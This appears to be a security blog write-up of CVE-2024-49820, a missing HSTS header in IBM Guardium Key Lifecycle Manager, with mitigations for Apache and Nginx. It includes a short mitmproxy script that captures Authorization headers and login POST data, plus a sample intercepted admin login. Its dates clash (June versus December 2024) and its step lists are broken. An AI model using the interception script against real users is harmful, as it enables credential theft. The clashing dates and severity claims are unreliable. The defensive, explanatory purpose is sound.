On June 14, 2024, IBM published a security advisory detailing a vulnerability (CVE-2024-49820) that affects several versions of IBM Security Guardium Key Lifecycle Manager: 4.1, 4.1.1, 4.2., and 4.2.1. This critical flaw could allow remote attackers to capture sensitive information using man-in-the-middle (MitM) attacks due to the absence of HTTP Strict Transport Security (HSTS).

In this article, we’ll break down how this works, show a simple proof of concept, and discuss steps you can take to mitigate the risk.

What is HSTS and Why Does it Matter?

HTTP Strict Transport Security (HSTS) is an essential web security feature. When enabled, it tells browsers to connect only over HTTPS, not HTTP, for a set period. Without HSTS, your browser may accept an insecure HTTP connection—opening the door for attackers to silently intercept and manipulate your traffic.

IBM Security Guardium Key Lifecycle Manager (SKLM), designed to manage encryption keys and certificates for your sensitive data, is expected to enforce the highest security standards. Unfortunately, versions 4.1 to 4.2.1 fail to set the HSTS policy correctly.

Risk Scenario: Man-in-the-Middle

An attacker on the same network as a user (for example, on public Wi-Fi, or even a malicious employee in the company) can intercept the traffic between the user’s browser and the SKLM web interface. By stripping HTTPS and forcing the connection to use HTTP, the attacker can steal session cookies, login credentials, or any other sensitive data.

CVSS Score: Not published at writing, but should be considered high.

- IBM Advisory: Security Bulletin: Guardium Key Lifecycle Manager affected by HTTP Strict Transport Security Vulnerability (CVE-2024-49820)

Simple Proof of Concept (PoC): What an Attacker Would Do

Here’s an easy way to understand and (in a test lab only!) demonstrate the issue.

Step 1: Check for HSTS Header

First, let’s see if the vulnerable SKLM server actually sends the HSTS header.

curl -Ik https://your-sklm-server.example.com/

Expected insecure output

HTTP/1.1 200 OK
Date: Sat, 15 Jun 2024 01:23:45 GMT
Content-Type: text/html; charset=UTF-8
...
# No "Strict-Transport-Security" header!

Notice there is no field like

Strict-Transport-Security: max-age=31536000; includeSubDomains

Step 2: Man-in-the-Middle Attack Scenario

Let’s simulate a basic MitM scenario using mitmproxy as an attacker on the same network.

Run mitmproxy to intercept traffic.

2. The attacker tricks the SKLM user into clicking an http:// link (no lock icon).

How an attacker could capture a session

# mitmproxy's default script logs all HTTP requests.
# Below is a simplified snippet showing how credentials could be captured.

def request(flow):
    if "Authorization" in flow.request.headers:
        print("Captured Authorization Header:", flow.request.headers["Authorization"])

    if flow.request.path == "/login":
        print("Captured POST data:", flow.request.content)

An attacker could do any of the following

- Intercept username/password fields during login.

Monitor the network for plain HTTP requests to the SKLM host.

2. If found, intercept the traffic, capture sensitive data, and/or inject malicious JavaScript or commands.

Real-World Example: Attack Flow

1. User visits: http://sklm-server.example.com

2. Attacker (on same network) intercepts and sees

POST /login HTTP/1.1
Host: sklm-server.example.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=SuperSecretPassword

3. Attacker logs credentials and takes over the SKLM admin portal.

This should never happen on a key management product!

Apply the latest SKLM patches from IBM

- IBM Fix Central: Guardium Key Lifecycle Manager Download

If you control SKLM’s reverse proxy or web server, add this header to every HTTPS response

Strict-Transport-Security: max-age=31536000; includeSubDomains

Example for Apache

Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"

Example for Nginx

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;

3. Block HTTP (force HTTPS)

Set up redirects from HTTP to HTTPS. Block port 80 in the firewall if possible.

Nginx Example

server {
    listen 80;
    server_name sklm-server.example.com;
    return 301 https://$host$request_uri;
}

4. Monitor for MitM Activity

Check logs for unexpected HTTP access or unauthorized logins.

References

- IBM Security Bulletin: CVE-2024-49820 detail
- Understanding HSTS (MDN)
- mitmproxy - Intercepting Proxy Tool

Final Words

CVE-2024-49820 highlights the dangers of skipping essential web security standards, especially in products as critical as key management. If you use IBM Security Guardium Key Lifecycle Manager 4.1 – 4.2.1, prioritize applying mitigations and monitor your systems closely.

Stay safe and always test your enterprise applications for missing security headers!

Timeline

Published on: 12/17/2024 18:15:24 UTC